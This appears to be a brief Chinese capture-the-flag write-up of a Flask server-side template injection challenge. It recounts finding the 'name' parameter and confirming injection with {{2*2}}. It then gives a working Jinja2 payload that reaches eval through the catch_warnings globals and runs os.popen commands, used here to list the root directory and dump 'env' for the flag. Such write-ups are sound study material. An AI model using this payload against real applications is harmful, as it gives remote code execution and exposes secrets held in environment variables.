[Flask]SSTI 1
根据题目判断这是一道SSTI参数处理不当的漏洞,打开页面显示Hello guest,猜测参数名为user
发现页面无任何变化,于是尝试name,成功回显
尝试{{2*2}},页面显示4,存在SSTI注入
构造payload,成功执行任意代码
# payload的解释:获取eval函数并执行任意代码?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("任意代码执行的地方").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
查看根目录(ls /),未发现flag文件,便猜测在env环境里面,成功找到flag
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("env").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}